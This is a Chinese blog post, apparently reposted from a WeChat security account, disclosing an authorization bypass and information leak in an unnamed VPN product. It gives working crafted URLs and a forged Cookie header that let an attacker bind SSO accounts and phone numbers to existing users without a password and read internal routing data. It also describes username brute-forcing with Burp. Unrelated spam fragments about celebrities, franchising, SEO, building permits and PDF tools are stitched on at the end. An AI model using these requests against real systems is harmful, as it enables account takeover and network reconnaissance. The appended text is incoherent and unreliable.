0x01 简述
HVV临近,现预警一个某捷VPN的信息泄露及越权绑定SSO账号及手机号的问题
注:需要知道存在的VPN用户,当然如果不知道的话,可以使用文章后面的那个 *** 进行用户名爆破
话不多说先上图
0x02 越权绑定
首先打开VPN登录页,可以看到是这样子的
直接构造URL:
https://1.1.1.1/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=USERNAME&sid=1614345312&oper=showres
USERNAME为已存在的用户名,访问后即可进入到这样一个界面
然后我们点击左侧的“个人设置”
在如上图功能这里,没有任何密码验证,可以直接给这个用户绑定SSO账号及手机号
0x03?信息泄露
直接构造URL:
https://1.1.1.1/cgi-bin/main.cgi?oper=getrsc
注:需要先使用之一步的方式构造URL进入到设置页面,否则没有Cookie,会提示“错误:当前用户不在线,请重新登录”,当然你也可以手动构造Cookie
Cookie: UserName=USERNAME; SessionId=1614345312; FirstVist=1; Skin=1; tunnel=1
然后再打开的页面,就可以看到他VPN现有的路由信息
同时,通过Burp抓包可以发现,如果用户名是正确的,这个页面才会返回路由信息
如果用户是不存在的,就不会返回
通过这个 *** ,可以使用Burp进行用户名爆破
文章来源微信公众号:NearSec
陈卓璇再度由于讲话,“半山坡太挤了”而走上热搜榜,果真是刘姐,敢说敢言,先前“凭着一句我都站的不足高吗”取得成功爆红,那麼,半山坡太挤了代表什么意思什么鬼?下边我就产生陈卓璇经典金句內容合辑。...
公共创业万众创新的时代响应下,人们都开始将致富的眼光转向投资创业上面,可是面临鱼龙稠浊的行业市场,我们该选择什么样的加盟项目呢?连年来跟着人们糊口质量的提高,在吃饱穿暖的前提下,对饮食的要求也已“挑剔...
404错误页面一个看似不重要又似乎不可忽略的细节,看重的人会把404做的非常与用户友好,不不看重的人可能会把404做成一个跳转甚至没有404错误页面。但是对于SEOER来说,404是比较重要的,因为网...
根据国家的规定:必须是建设单位办理,也只有建设单位能办理;因为办理施工许可证的相关手续、证件都在建设单位。没有。 施工许可证由建设单位申请办理。建筑工程施工许可证是建筑施工单位符合各种施工条件、允许...
开启PDF制作软件,点一下网页页面选择项栏,挑选pdf合并,点一下加上大量文档,挑选必须合拼的文档,键入名字,挑选储存部位,点一下逐渐变换就可以。 知名品牌型号规格:想到GeekPro 2020 系统...